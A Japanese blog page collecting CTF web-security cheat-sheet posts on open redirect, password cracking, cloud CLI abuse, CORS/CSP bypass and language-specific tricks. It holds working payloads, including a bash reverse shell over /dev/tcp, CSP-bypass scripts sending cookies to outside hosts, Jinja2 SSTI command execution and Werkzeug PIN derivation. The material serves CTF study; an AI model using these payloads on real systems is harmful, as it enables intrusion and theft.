はまやんはまやんはまやん

hamayanhamayan's blog

CTFのWebセキュリティにおけるオープンリダイレクトまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の24日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

OpenRedirectを攻撃につなげるには

  • javascript:alert(1)
  • 単にフィッシングとして使えると指摘してもいい
  • OAuthとつなげることでAccount Takeoverが狙えるかも
    • OAuthのredirect_uriはホスト名のみで検証されている場合、Open Redirectを踏み台にしてトークンを抜き出せるかも
    • codeが抜ければ、攻撃者はアプリケーションに代わってFacebookアカウントにアクセスできるようになる(どうだろう)
  • SSRFでドメイン検証がある場合にbypassできるかも
  • CSRF対策としてリファラーチェックしてる場合は、bypassできるかも

CTFのWebセキュリティにおけるPassword Cracking, ハッシュ, 暗号化

この記事はCTFのWebセキュリティ Advent Calendar 2021の23日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

パスワードクラック

ハッシュ値の原文の特定・署名の秘密鍵の特定

ツール

pythonでゴリゴリ書いてもいいが、どうしても遅いのでクラッカーを積極的に使用しよう。

hashcat

  • パスワードクラッカー、早い。全探索でcrackするときは、pythonとか使わずにこっち使おう。
  • ./hashcat.exe -m 3200 hash.txt ../dic/rockyou.txt
    • 辞書攻撃するときこんな感じ
  • hashcatを使って変形辞書を作ることもできる
    1. ruleというファイル名で変形前の辞書を保存する
    2. hashcat.exe -r rules/best64.rule --stdout rule > dic.txtで変形辞書を作成
  • ハッシュ関数を変えたいときは-mで変える。
    • https://hashcat.net/wiki/doku.php?id=hashcat
    • ここに対応表が書いてあるので、md5(md5(pass))であれば-m 2600のように指定する。
    • 使用済み
      • 3200 bcrypt $2*$, Blowfish (Unix)
      • 100 SHA1
      • 1400 SHA2-256
      • 900 MD4
      • 0 MD5
      • 2600 md5(md5($pass))
      • 4400 md5(sha1($pass))
      • 1000 NTLM
      • 160 HMAC-SHA1 (key = $salt)
        • hash.txtにhash:saltとすればいい
      • 1800 sha512crypt $6$, SHA512 (Unix)
      • 16500 JWT (JSON Web Token)
        • hash.txtにJWTを直に置けばいい
  • hashcatでshadowファイルを解析する例
  • ハッシュについて
    • bcrypt - Wikipedia
      • $1$: MD5ベースの暗号('md5crypt')
      • $2$: Blowfishベースの暗号 ('bcrypt')
      • $sha1$: SHA-1ベースの暗号 ('sha1crypt')
      • $5$: SHA-256ベースの暗号 ('sha256crypt')
      • $6$: SHA-512ベースの暗号 ('sha512crypt')
  • エラーハンドリング
    • Initializing backend runtime for device #1...となっている場合は--forceで待てば動くようになるかも
      • これでハングしてる場合は動いてない
  • 原文がアラビア語の場合のクラック

John The Ripper

  • パスワードの総合的なクラックツール。john --wordlist /usr/share/wordlists/rockyou.txt [hashpath]
  • JWTの署名もクラック可能
  • Dockerで使うには
    • docker run -it -v d:\root\docker\jacktheripper:/root/ adamoss/john-the-ripper --wordlist /root/rockyou.txt /root/cracked.txt
  • パスワード解析終えたら別コマンドでしか結果取得できないので注意
    • $ john --show users.txt実行コマンドに--showを入れるだけ
  • フォーマット指定について
    • フォーマットを指定しなくても大丈夫だが、最初に大量にワーニングが出てこれじゃないみたいな提案をしてくれる。
    • 積極的に指定しないと駄目な場合も多い
    • フォーマット対応はjohnよりhashcatの方が多い
  • .htpasswdのパスワード解析 admin:$apr1$1U8G15kK$tr9xPqBn68moYoH4atbg20 渡すだけでOK
  • shadowのパスワード解析 $ john users.txt --wordlist=dic.txt
  • private keyで要求されるパスワードを総当りで解析するには
    1. ssh2johnを使って、ハッシュ値に変換する(id_rsaを持ってくる)
    2. John The Ripperで解析 john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
    3. sshで使う $ ssh -i [prikey] [user]@[ip]

圧縮ファイルパスワードクラック

  • ctf-tools/John/run at master · truongkma/ctf-tools · GitHub
    • ここにたくさん*2john.pyがある
  • zip
    1. zip2john [zipfile] > ziphash.txtでハッシュを抜き出す
    2. john --wordlist=/usr/share/dirb/wordlists/rockyou.txt ziphash.txtみたいに解析
  • 7z
    1. 7z2john ./chicken.7z > chicken.hashでハッシュを抜き出す
    2. john chicken.hash --wordlist=/usr/share/dirb/wordlists/rockyou.txt --format=7z-openclみたいに解析
  • PGP鍵(private key)
    1. gpg2john [pgp key] > hash.txt
    2. john hash.txt --wordlist=/usr/share/dirb/wordlists/rockyou.txtみたいに解析
    3. gpg --import [gpg key (.asc)]
    4. gpg --decrypt [gpg file]
  • jwt (HS256)
    1. jwtをそのままhash.txtとして保存
    2. john hash.txt
  • johnは.john/john.potにクラックパスワードがキャッシュされている

Zip

既知平文攻撃

  • 暗号化zipの中に平文がわかっているファイルがあれば、効率的に解析ができる
    1. 平文がわかっているファイルを含めて、非暗号zipファイルを作る
    2. zipファイルの圧縮環境の違いでうまく行かない場合があるので、その場合は7za L -sltで確認可能
    3. pkcrackでクラックする pkcrack -C ./with_password.zip -c mod_logo.jpg -P /tmp/mod_logo.zip -p mod_logo.jpg -d ./dec.zip
    4. -C [暗号化されたzipファイル]
    5. -c [暗号化されたzipファイルの中で平文がわかるファイル]
    6. -P [平文のファイルが入っている暗号化されていないzip] ←これはMUSTじゃない
    7. -p [平文のファイル]
    8. -d [出力先(復号したzipファイルの名前)]
  • @Nperairさんのツイート
    • zipの標準の暗号化がゴミで、ファイルに12byteの既知の平文があれば既知平文攻撃で中身が読める
    • ファイルのフォーマットの都合上先頭12byteくらいはほぼ推測できてしまう
  • 7zipであらかじめ開いてサイズを確認して、既知平文として正しいものかどうかを確認する
  • DCTF-writeups/CompanyLeak.md at main · yulyachert/DCTF-writeups · GitHub
    • bkcrackというツールでもやれる

AES圧縮のzip

  • zipファイルの新しいフォーマットではAES暗号化とかが使える
    • unzipで解凍をneed PK compat.みたいに出てきたら、古い可能性がある
    • そういう場合は7za e [filepath]とすると行える
  • pythonならpyzipperを使えばいい
  • crack例

johnとhashcat

  • ctf/2021/dawg/forensics/photo_album at master · ryan-cd/ctf
    • 面白いやり方をしているzip2john encrypted.zip > pass_hash.txtとするとpkzip2という文字列を含むハッシュが得られたので、hashcatの 17200 | PKZIP (Compressed) | Archives 17220 | PKZIP (Compressed Multi-File) | Archives 17225 | PKZIP (Mixed Multi-File) | Archives 17230 | PKZIP (Mixed Multi-File Checksum-Only) | Archives 17210 | PKZIP (Uncompressed) | Archives 20500 | PKZIP Master Key | Archives 20510 | PKZIP Master Key (6 byte optimization) | Archives この一覧から17220を使って$ hashcat.exe -m 17220 -a 3 -1 ?l?d ?1?1?1?1?1?1?1?1 hash.txtで総当たりすると見つかる
    • 上と似ているが動かなかった。だが、下なら動いた
      • zip2john [file] | cut -d ':' -f 2 > hash.txtとしてhashcat -a 0 -m 13600 hash.txt --show

CTFのWebセキュリティにおけるCloud問題(AWS, GCP)

この記事はCTFのWebセキュリティ Advent Calendar 2021の22日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

AWS

AWSコマンドについて

  • aws — AWS CLI 1.20.11 Command Reference
  • 全般的に認証クレデンシャルが必要で、AWSアカウントが必要
  • もし認証情報が得られたら、aws configureを使って入れて、好きなようにできる
    • aws configure
    • AWS Access Key ID [None] :AWS_SECRET_ACCESS_KEYを入れる
    • AWS Secret Access Key [None] :AWS_ACCESS_KEY_IDを入れる
    • Default region name [None] : eu-west-1はそれっぽいのを試せるし、urlから漏れてる場合が多い。eu-west-1みたいなのを入れる
    • Default output format [None] :は空白で問題ない
  • aws s3
    • aws s3 ls s3://test-bucket
    • aws s3 cp test.txt s3://test-bucket コピーする
      • アップロード時に権限を指定してアップロードできたりする aws s3 cp [FILE] s3://[bucket_name] --acl public-read
    • aws s3 mv test.txt s3://test-bucket moveする
      • これでAccess Deniedとなってもaws s3 rm XXXでアップロードファイルを指定してみたらforbiddenで帰ってきたら実は上げれてるかも(ほんとか?)
    • aws s3 rm s3://test-bucket/test.txt 削除する
    • aws s3 cp s3://test-bucket/file.txt ./ awsから持ってくる
  • aws s3api
    • aws s3api list-buckets s3のリストが得られる
    • aws s3api get-bucket-tagging --bucket cleaningbucket-cf2be35 タグが見られる
    • grants aws s3api get-bucket-acl --bucket test-bucket
    • READ aws s3api get-object --bucket test-bucket --key read.txt read.txt
    • READ_ACP aws s3api get-object-acl --bucket test-bucket --key read-acp.txt
    • WRITE aws s3api put-object --bucket test-bucket --key write.txt --body write.txt
      • ダメ An error occurred (AccessDenied) when calling the PutObject operation: Access Denied
      • OK "ETag": "\"1398e667c7ebaa95284d4efa2987c1c0\""
  • aws lambda
    • aws lambda list-functions
    • aws lambda list-tags --resource arn:aws:lambda:eu-west-1:957405373060:function:lambdaThrusters-8697c51
  • aws ec2
    • aws ec2 describe-tags

Amazon S3

AWS系Chellenge/writeup

Google

Google document系からの情報流出

GCP

CTFのWebセキュリティにおけるクライアント側まとめ(CSP, CORS, Web Assembly, PostMessage)

この記事はCTFのWebセキュリティ Advent Calendar 2021の21日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

CORS

CORS Misconfiguration

攻撃サンプル

  • origin攻撃
    • *
    • *.target.com
    • target.com.evil.com
    • eviltarget.com
    • null
    • evil.com
  • Exploiting misconfigured wildcard (*) in CORS Headers
    • Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
    • どんなドメインでも受け入れてしまうので、XSSで読み込んむと内容が得られるので、この設定がなされていて応答に機微な情報が含まれていれば危険
  • Using XSS to make requests to cross-origin sites
    • XSSがあると情報が抜ける
    • <script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.redacted.com/api/return",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>こんな感じに抜いてくればいい
  • 攻撃
    • OriginがそのままACAOに反映される Origin: attacker.comでリクエストするとAccess-Control-Allow-Origin: attacker.comとなる
    • サブドメインでもOK Origin: attacker.com.evil.comAccess-Control-Allow-Origin: attacker.com.evil.comとか
    • wildcardになってる
    • null Origin: null
    • Verb変えてみる
  • Advanced CORS Technique
  • mitigation

CSP

  • CSPの種類について
    • script-src-elem <script>alert(1)</script><script src="/jquery.js">
    • script-src-attr <svg onload="alert(1)">
    • base-uri <base href="https://example.com/">
      • 'none''self'にしておけばbaseがインジェクションされてもとりあえず大丈夫。追加理由ほとんどないんだしnoneでいいんじゃないかな?
      • none以外だったら、base tag injectionを疑うこと
    • connect-src
    • img-src
  • 推奨設定?
    • script-src 'nonce-{random}' 'unsafe-inline' 'unsafe-eval' 'strict-dynamic' https: http:;
    • object-src 'none';
    • base-uri 'none';
  • 回避テク一覧
  • CSPが複数あれば、最も制約の厳しいものが採用される
  • CSP Evaluator
    • このサイトに通して弱点を探るのもいい
  • CSP: Content Security Policy
    • 挿入されたjavascriptの実行を制約することで、XSSが成立しないようにする
    • サーバからブラウザへポリシーを伝えることで、そのポリシー以外の実行を制限する
    • content-security-policy:を見ると、許可されている操作が書かれているので、許可されてる範囲でバイパスを考える
  • script-src
    • script-src 'self' data:;
      • script-srcのdataスキームが許可されている
      • <script src="data:text/javascript,ここに任意コード">
      • <script src="data:text/javascript,fetch('/csp-one-flag').then(x=>x.text()).then(x=>location='http://requestbin.net/r/1ax2j8w1?q='+escape(x))">
    • script-src 'self' ajax.googleapis.com 'unsafe-eval';
      • ajax.googleapis.comが使える。こういった時は外部ライブラリを踏み台にしてバイパスする
      • Angular.js
        • 直後にng-app属性を持ったpタグを入れることで、内部のjsコードを即座に実行してくれる html <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js"></script> <p ng-app>{{constructor.constructor('ここに任意コード')()}}
        • XSS in the AWS Console
          • <input ng-focus=$event.view.alert('XSS')>
    • script-src 'self' *.google.com *.gstatic.com;
      • <script src="https://accounts.google.com/o/oauth2/revoke?callback=[jscode]
      • payload: <script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(31337)"></script>
    • script-src: strict-dynamic
    • "script-src":"'self' 'unsafe-inline'"
      • インライン JavaScript および CSS を許可します
      • 普通に<script>sendMyDataToEvilDotCom();</script>が許可される
    • script-src 'none'
      • scriptタグは全く使えない
    • style-src 'self' http://cdn.embedly.com/;
    • script-src 'nonce-*'
      • CTFtime.org / ångstromCTF 2021 / nomnomnom html This score was set by ${name} <script nonce='${nonce}'>
        • firefoxに限り、上記の様にscriptタグの直前に入力値を入れられる場合にnonceを取り込んだscriptタグを生成できる
          • <script src="data:, location.replace('http://[redacted: 12 chars].ngrok.io/?d=' + document.cookie);"
          • <script src="https://textbin.net/raw/o4tst0cpr6" dummy=\
          • 上記のような不完全なscriptタグを用意することでnonceを取り込める
    • script-src 'self'
  • default-src 'self'
    • サイト管理者が、すべてのコンテンツをサイト自身のドメイン (サブドメインを除く) から取得させたい場合に設定する。自分のドメインからのjsしか受け付けない。
    • こういう場合は、jsファイルとかsvgファイルとかをアップロードして、それを指定することで実行させる
    • 指定のないもののデフォルト値として動く。
  • Content Security Policy Level 3におけるXSS対策 - pixiv inside
  • 信頼されたほかのjsコードを経由することでバイパス実行する方法がある
  • 突破できなかったやつ
    • content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'
  • strict-dynamic
    • すでに実行を許可されたJavaScriptコードから読み込まれたJavaScriptコードを実行可能にする
    • JSONPを実行するために追加しているかもしれない
  • 回避例
  • CSP Policy Injection
    • 入力がCSPのポリシーに組み込まれる場合に、設定されていないCSP Policyを追加で設定できる
    • 同じポリシーを設定した場合は、Chromeであればエラーとなる
    • ; script-src-attr 'unsafe-inline'という感じにインジェクションする
  • CSP Embedded Enforcement
  • CSPの影響を受けないもの(ほんとか?)
    • <meta http-equiv="refresh" content="0; URL={{遷移先}}> metaタグによる遷移
    • <link rel="preload" href="https://webhook.site/…" as="fetch">による読み込み

WebAssembly

ブラウザからWebAssemblyをデバッグする方法

C言語に直すには

解析例

CTFtime.org / UIUCTF 2020 / nookstop 2.0 / Writeup CTFtime.org / UTCTF 2021 / It's wasm time - UTCTF 2020 writeup - Wasm Fans Only - こんとろーるしーこんとろーるぶい - Chrome Developer Toolで動的解析できるみたい - WebAssemblyちょっとやる - バランスを取りたい

PostMessage

CTFのWebセキュリティにおけるその他言語まとめ(C#, .NET, GO, Java, Perl, Ruby)

この記事はCTFのWebセキュリティ Advent Calendar 202120日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

ASP.NET

Csharp

.NET

Go言語

Java

Thymeleaf

テンプレートエンジン。SSTIできるかも。

  • 使えそうな情報
    • Tutorial: Thymeleaf + Spring
      • Use Spring Expression Language (Spring EL) as a variable expression language, instead of OGNL. Consequently, all ${...} and *{...} expressions will be evaluated by Spring’s Expression Language engine.
      • SPELで使える攻撃が使える
  • 便利な記法 CTFtime.org / SharkyCTF / WebFugu
    • 全部の変数情報取得 html <tr th:each="var : ${#vars.getVariableNames()}"> <td th:text="${var}"></td> <td th:text="${#vars.getVariable(var)}"></td> </tr>
    • フィールドの確認 html <tr th:each="var : ${flag.class.declaredFields}"> <td th:text="${var.name}"></td> <td th:text="${var}"></td> </tr>
    • メソッドの確認 html <tr th:each="var : ${flag.class.getMethods()}"> <td th:text="${var.name}"></td> <td th:text="${var}"></td> </tr>
    • メソッド実行結果の確認 html <td th:text="${flag.getContent()}"></td>

Java EEのWAR形式

Java EEで開発されたWebアプリケーションを一つのファイルにパッケージする標準形式の一つ。 zipなので、zipにして解凍すればいい。 一回解凍してみたら、以下のような感じになっていた。 多分、META-INF, WEB-INFは固定であって、それ以外が普通のWebリソース?

  • root
    • META-INF
    • WEB-INF
    • index.html

Unsafe Java Object Deserialization

J2EE / Spring

  • セッション
    • JSESSIONIDって名前でCookie発行されてセッションIDが付与される
  • Spring Boot のデフォルトの状態では、404 Not Found 等が発生した際に Whitelabel Error Page というエラーページが表示される。

解析

  • jarファイルとかclassファイルをデコンパイルして解析してみる
  • jd-gui
    • apt-get install jd-guiでインストールしてjd-guiで起動するだけ
    • jar,classをD&Dすれば中身が見られる

テク

  • web.xmlが公開状態になっていないか
  • writeups
  • UUID.randomUUID()は暗号学的にも安全なUnique IDが得られる

Perl

Perl難読化

PerlのopenにはRCE脆弱性がある

https://www.ipa.go.jp/security/awareness/vendor/programmingv1/a04_01.html

|lsみたいなファイルパスを入れると|以降が実行されて結果が返ってくる

Ruby

CTFのWebセキュリティにおけるPythonまとめ

この記事はCTFのWebセキュリティ Advent Calendar 2021の19日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

 >>> import os
 >>> print(os.path.join('/home', 'flag.txt'))
 /home/flag.txt
 >>> print(os.path.join('/home', '/flag.txt'))
 /flag.txt
  • subprocessはコマンドインジェクションができてしまう
    • 特にshell=Trueとなってたら危ない
    • subprocess --- サブプロセス管理 — Python 3.8.5 ドキュメント
      • shell=Trueを付けない、デフォルトの状態だと安全に渡される
      • 例えばcat flagを与えると、スペースがエスケープされて全体で1コマンド解釈されるので、shell=Trueを付けたりする
      • でも['cat', 'flag']を与えることで、shall=Trueが無くても正しく実行してくれる(しかも空白を制限できるのでやや安全)
  • cookieを使ってバイパス
    • CTFtime.org / DefCamp CTF 2020 Online / http-for-pros / Writeup
    • request.cookies['a']みたいにして、aをcookieに入れてやればいい
    • {{request[request.cookies['a']][request.cookies['b']][request.cookies['c']][request.cookies['d']][request.cookies['e']][request.cookies['f']]('subprocess')[request.cookies['g']](request.cookies['h'],shell=True)}}として -"a": "__class__","b": "_get_file_stream","c": "im_func","d": "func_globals","e": "__builtins__","f": "__import__","g": "check_output","h": cmdという感じ
  • re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)
    • とやると\nは変換されない
  • 脆弱性
  • 文字列しか扱えないとき
    • f"{__builtins__['__import__']('os').__dict__['popen']('ls').read()}"みたいにf"{}"で囲んで文字列化
  • プライベート変数を参照したいとき
  • __dict__インスタンスの変数が参照可能 instance.__dict__['private_var_name'] = 'private_var_value';
  • メモリを改ざんすることで数値をいじるテク
    • pythonでは全てがオブジェクトとして管理されており、数値もオブジェクトとしてメモリに実質的な値が格納されている。よって、メモリをいじることで数値の評価値を変えることができる
    • Python - Pythonのid関数は一体何を指しているのか?|teratail
      • id関数でメモリの場所が抜けるが、色々実装依存の所があるっぽい
    • 🔰 SECCON Beginners CTF 2021 作問者 Writeup - Qiita
      • 要求としては42の数値を書き換えたい
      • 数値42の先頭アドレスを取得する id(42)とするのが理想だがこの問題では5文字までの制限があるのでid(1)として41 * 32を足すことでid(42)を求めている
      • 1のアドレス+24からが数値の中身を管理する領域なのでここまでseekして書き換える
      • 問題ではHackを書き込むので、これが32bit整数として評価されるので42はかなりでかい数値として評価される事になってフラグを得る
  • pythonのcodingをraw_unicode_escapeを使って、コメント部分を実行させるテク
  • 文字種が限定されている場合のRCE
  • メモ
    • type(int("1_1")) = <class 'int'>int("1_1")=11となる
  • pdb.post_mortem(e.__traceback__)みたいなコードがあれば、ここに到達すればPDBが起動する。
  • pycを解析する

ライブラリ

  • Flask,Twig
    • HackTricks
    • python向けのウェブアプリケーションフレームワーク
    • セッションの形式が特殊でわかりやすい
    • {{ config.items() }}とやることで、いろんな情報を表示できる {{config}}でも抜ける
    • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
    • secure_filenameは強い。
    • debug modeの場合は/consoleが怪しい
      • consoleにPINコードがかかっているときの解析方法。LFIができれば解析可能
      • Workerbee Walkthrough (Werkzeug Debug Pin generation) - YouTube
        • werkzeug - HackTricks
          • ここの末尾にPINコードを作成するpythonコードが添付されているのでこれを埋めるようにして、情報をかき集めていく
        • probably_public_bitsを埋める
          • 1番目
            • /proc/self/environから環境変数USERを取ってくるUSER=loremipsum
          • 2番目はそのまま
          • 3番目
            • /proc/self/cmdlineをするとloremipsum.pyというファイル名だと分かる
            • loremipsum.pyを取ってくるとapp = Flask(__name__)とあるので、ここはこのままFlaskでよい
          • 4番目
            • エラー画面を見ると/usr/local/lib/python3.6/dist-packages/flask/app.pyとあるので、python3.6に修正する
        • private_bits
          • 1番目
            • /proc/net/arpを見るとDeviceはeth0であると分かる。
            • /sys/class/net/eth0/addressとしてMACアドレスを取得する02:42:ac:1b:00:02
            • これを16進数でつないで10進数に変換すると得られる print(0x0242ac1b0002)=2485378547714
          • 2番目
            • 以下2つをそのままつなげたものを入れる
              • /proc/sys/kernel/random/boot_idb875f129-5ae6-4ab1-90c0-ae07a6134578が得られる
              • /proc/self/cgroupの最初の要素のハッシュ値みたいなやつを取ってくる
                • 11:memory:/docker/e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334aee8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
            • よって、b875f129-5ae6-4ab1-90c0-ae07a6134578e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
        • これで実行するとPINコード126-739-410が得られて、使えば答え
    • Flaskのセッション管理
      • format
      • Cookieにセッションの内容が全部入っている。secret_keyがあれば署名も可能
        • Cookieにセッションの内容がすべて入っている(スレートレス)状態になっているため、ログアウトしてCookieを削除しても、それを予めとっておいて再送すればログイン中のセッションとして使用できる
        • つまり、ログアウトの目的の1つである、古いセッションを削除して、dropcatchされても問題ないようにするという解決法が意味をなさない
          • 緩和策としてセッションの寿命を短くしておくことが挙げられる
      • sstiできるなら、configからsecret_keyを抜き出すことも可能
      • flask_jwtを使うことでjwtが使える
      • Tools
        • GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
        • flask-unsignツールを使うと簡単にブルートフォースで解析可能
          • インストール pip install flask-unsign flask-unsign[wordlist]
          • 中身見る flask-unsign -d -c "[cookie]"
          • パスワード解析 flask-unsign -c "[cookie]" --unsign
          • 作り直す flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'toto'}"
        • 辞書攻撃が効く問題も見たことがある
          • rockyou.txtで解析したいとき flask-unsign -c "[cookie]" --unsign --wordlist tools/rockyou.txt --no-literal-eval
    • send_fileするときにMIMEタイプが設定されていない場合は、拡張子からMIMEタイプが推論されて付与される
  • flask_admin
    • クラスでモデルを作ってDB編集を簡単に行えるようにしたフレームワーク
      • from flask_admin import Adminみたいにインポートしてる
    • これを使えば以下ルールでDBをいじれる
      • /admin/[Table名]/ Table内容を確認する
      • /admin/[Table名]/edit/?id=XX id=XXである要素を編集できる
      • /admin/[Table名]/new Tableに新しい要素を追加する
    • 問題
  • Flaskのwerkzeugで使われるパスワードハッシュ
    • from werkzeug.security import generate_password_hashで使われるパスワードハッシュ
    • pbkdf2:sha256:150000$ODedbYPS$4d1bd12adb1eb63f78e49873cbfc731e35af178cb9eb6b8b62c09dcf8db76670こんなかんじ
  • jinja
    • RCE1
      • getパラメタを使ってうまくフィルターを回避する例
      • URL/apply?x=__class__&l=os
      • データ{{(config|attr(request.args.x)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')(request.args.l)|attr('popen')('id')|attr('read')())}}
    • RCE2
      • {{request.environ.__getitem__('gunicorn.socket').dup.__func__.__globals__.__getitem__('o''s').__builtins__.__getitem__('__import__')('subprocess').check_output(('bash','-c','cat strategyguide.txt'))}}
  • Tornade
  • Pickle
  • weurkzerg
    • デバッグモードが有効だと、エラー時に任意のpythonコードを実行できる
    • /consoleでInteractive Console使えるかも
  • helpを使った変数表示

CTFのWebセキュリティにおけるJavaScript,nodejsまとめ(Prototype pollution, 難読化)

この記事はCTFのWebセキュリティ Advent Calendar 2021の18日目の記事です。

本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。

JavaScript / node.js

  • RCEワンライナー
    • console.log(process.mainModule.require('child_process').execSync('ls -la').toString());
    • 適当にコマンドインジェクションするとき
      • いろいろ&&コマンド;//いろいろみたいな感じにするといい。前半の色々はちゃんと実行できるように頑張ること
    • リバースシェル
      • require("child_process").exec("bash -i >& /dev/tcp/[IPAddress]/[Port] 0>&1");process.exit();
  • x = ~~x;としてあると、xに文字列は使えず、整数しか使えない
  • encodeURIはエスケープとして不適切
  • GET parameterは複数回指定することで上書き可能
    • なるほど。今回は最後に入力したものが採用されるみたいだけど、確か実装依存。前調べたときのメモには以下のように書いてあった
    • ?username=abc&username=efg
      • $_GET["username"] -> efg
      • new URL(location).searchParams.get("username") -> abc
  • document.writeでHTMLを書き込むと直後に再レンダリングしてくれる
    • scriptタグがあれば実行もされる
  • 途中にコメントを差し込んでも実行される
    • alert(document/**/.domain);は実行される
    • alert(docum/**/ent.domain);のようにキーワードをぶった切る場合は動かない
  • String.prototype.includes()
    • 文字列のincludesは大文字小文字を区別する
    • 'Blue Whale'.includes('blue') // returns false
  • innerHTMLとtextContent
  • Spread operatorは他の引数をoverrideできる
    • database.addData({ type: 'paste', ...req.body, uid });となっている場合、bodyにtypeがあると値をoverrideできる
    • corCTF 2021 // Tom Plant
  • Cross-window communication
  • The clickjacking attack
    • 参考になる資料
  • function () { ... }を短縮する
    • アロー関数化する()=>{}
    • 引数はずれてても大丈夫なので、x=>{}みたいに適当に与えればいい
  • .toString()するよりも+''としてキャストさせると短い
    • +0でも文字列化できる(最低function時のときは)
  • 文字列を適当に変換する [...str]+''
    • str='abc'[...str]={'a','b','c'}[...str]+''='a,b,c'
  • arguments変数
    • (function () { return () => arguments[0]})(() => {; /* ${FLAG} */ })()みたいに、無名関数で引数が与えられてなくてもarguments配列を使えば読める
  • 即時関数で複数指定すると後半が実行される
    • (function(){return"A";},function(){return"B";})()とするとBが帰る
  • bind関数
    • functionに対してbind関数を使うと、thisに値を代替できる
    • (function () { return String(this)[char_offset]}).bind(()=>{; /* ${FLAG} */ })()
      • thisに()=>{; /* ${FLAG} */ }が入る
  • URLのhashから実行コードをとってくる方法
    • eval(decodeURIComponent(location.hash.slice(1)))とかいて、URL末尾に#[base64-encoded jscode]をつける
  • GitHub - cure53/H5SC: HTML5 Security Cheatsheet - A collection of HTML5 related XSS attack vectors
  • XSSのWriteup集
  • iframeのsrcdoc
    • <iframe srcdoc="[html-tag]"></iframe>とすることでsrcdoc内部でHTMLのタグ、scriptタグが実行できる(XSSできる)
    • これを使うとoriginを変更して実行できる?(よくわかってない)
  • 改行 <CR>/<LF>/U+2028/U+2029
  • s = {"title":[userinput]}; title="title:"+s.title;の場合、[userinput]に{"toString":null}とやると、エラーを引き起こすことができる
  • window.locationまとめ 例 https://example.com/admin?x=huge&y=piyo#hogehoge
    • window.location.href = "https://example.com/admin?x=huge&y=piyo#hogehoge"
      • 全部
    • window.location.protocol = "https:"
    • window.location.host = "example.com"
      • 注意点。https://example.com:26/のようにポートが80じゃないならexample.com:26となる。なお、https://example.com:80/ならexample.com
    • window.location.hostname = "example.com"
      • こっちはポートがあってもなくてもホスト名だけ
    • window.location.port = 80
    • window.location.search = "?x=fuga&y=piyo"
    • window.location.hash = "#hogehoge"
    • window.location.pathname = "/admin"
  • 弱い比較
    • ['admin'] == 'admin'がtrueであるが、['admin'] === 'admin'はfalse
  • nodejsでfsモジュールのreaddirを使えばls相当が可能
  • stringのreplaceは最初に見つけた1つ目しか変換されない
  • jsは配列もstringも同じような関数が使えるので、配列を与えてみるとうまくいったりする
    • includesとかindexOfとかsliceとか
    • 配列はstringに変換されると、['a','b','c']a,b,cのようにコンマ結合される
  • Hoisting
    • jsでは定義が実行より後ろであっても上手い事動くし、書き換えもできる
    • function f() { console.log('pre'); } f(); function f() { console.log('post'); }を実行するとpostと出てくる
    • これを利用して、コードの先頭でほぼ使われているrequireを上書きして、予期せぬタイミングで任意コードを実行するテクがある ここ
  • overrideされたスコープ外の要素を参照したい時
  • 関数をtoStringするとコメントも一緒に出力される
  • arguments.callee
    • use strict下では使えないが、色々な関数にまつわる情報が抜ける
  • JavaScriptRegExp オブジェクトは、global または sticky フラグが設定されている場合 (例えば /foo/g や /foo/y) はステートフルになります
    • RegExp.prototype.exec() - JavaScript | MDN
    • CakeCTF 2021 writeup - st98 の日記帳 - コピー
    • そのため、let filter = /(\'|\\|\s)/g;というフィルタでfor (let name of neko_name) { if (filter.exec(name.toString()) === null) {こういう使われ方をしていると、neko_nameに同じ文字列を与えたとき、その文字列に対して先頭からフィルターにヒットするものを順番に返していって、末尾まで来たらnullとなり、フィルターを抜け出してしまう
  • innerTextを使うと自動でサニタイズされる
  • Webpack
    • デバッグ時に利用するために、バンドル前のソースコードとバンドル後のソースコードの行の対応関係を保持している「ソースマップ」というファイルを出力することがあります。
      • 一般的にソースマップファイルはトランスパイル後のファイル名のあとに.mapを付与したファイル名になっています。
      • ここでは、main.jsのファイルのソースマップファイルがmain.js.mapに存在していることがアクセスをするとわかります。
  • パラメタを配列にしてうまくバイパスする
    • https://example.com/page?path[]=x&path[]=index.phpこんな感じにすると、パスがx,idnex.phpと認識されたりする。
      • nodejsでは、配列を文字列解釈したときにカンマ結合するためである。
    • このままだとうまく使えないので、結合時でもうまく動くように調整する
      • https://example.com/page?path[]=x&path[]=/../index.phpとすると、x,/../index.phpとなって、元のリクエストと同じになる。
  • AST Injection

